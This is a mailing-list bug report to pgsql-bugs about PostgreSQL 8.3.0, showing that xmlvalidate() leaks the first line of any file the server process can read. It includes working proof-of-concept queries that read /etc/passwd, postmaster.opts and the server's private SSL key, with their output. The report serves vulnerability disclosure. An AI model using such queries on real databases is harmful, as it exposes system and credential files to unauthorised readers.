bug or not bug, xmlvalidate(xml, text) can read and show one line from file - Mailing list pgsql-bugs

From Sergey Burladyan
Subject bug or not bug, xmlvalidate(xml, text) can read and show one line from file
Date
Msg-id 200802291757.27749.eshkinkot@gmail.com
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Hi, all

seb=3D> select version();
                                                      version
---------------------------------------------------------------------------=
-----------------------------------------
 PostgreSQL 8.3.0 on x86_64-pc-linux-gnu, compiled by GCC=20
x86_64-pc-linux-gnu-gcc (GCC) 4.1.2 (Gentoo 4.1.2 p1.0.2)

xmlvalidate(xml, text) trying to read from file and if it is not correct -=
=20
notice error with first readed line. it is ok and good, but xmlvalidate can=
=20
read from _any_ file what DB process can access for read.

for example:

seb=3D> select xmlvalidate(xml('<a foo=3D"bar">test<b>message in=20
b</b></a>'), '/etc/passwd');
ERROR:  could not load DTD
=D0=9F=D0=9E=D0=94=D0=A0=D0=9E=D0=91=D0=9D=D0=9E:  /etc/passwd:1: parser er=
ror : Content error in the external subset
root:x:0:0:root:/root:/bin/bash
^

seb=3D> select xmlvalidate(xml('<a foo=3D"bar">test<b>message in=20
b</b></a>'), '../data/postmaster.opts');
ERROR:  could not load DTD
=D0=9F=D0=9E=D0=94=D0=A0=D0=9E=D0=91=D0=9D=D0=9E:  ../data/postmaster.opts:=
1: parser error : Content error in the=20
external subset
/usr/lib64/postgresql-8.3/bin/postgres -D /var/lib/postgresql/8.3/data --si=
lent-
^

first line from private server ssl key :)

seb=3D> select xmlvalidate(xml('<a foo=3D"bar">test<b>message in=20
b</b></a>'), '../data/server.key');
ERROR:  could not load DTD
=D0=9F=D0=9E=D0=94=D0=A0=D0=9E=D0=91=D0=9D=D0=9E:  ../data/server.key:1: pa=
rser error : Content error in the external=20
subset
-----BEGIN RSA PRIVATE KEY-----
^

 i don't know is this bug or security issue or not...

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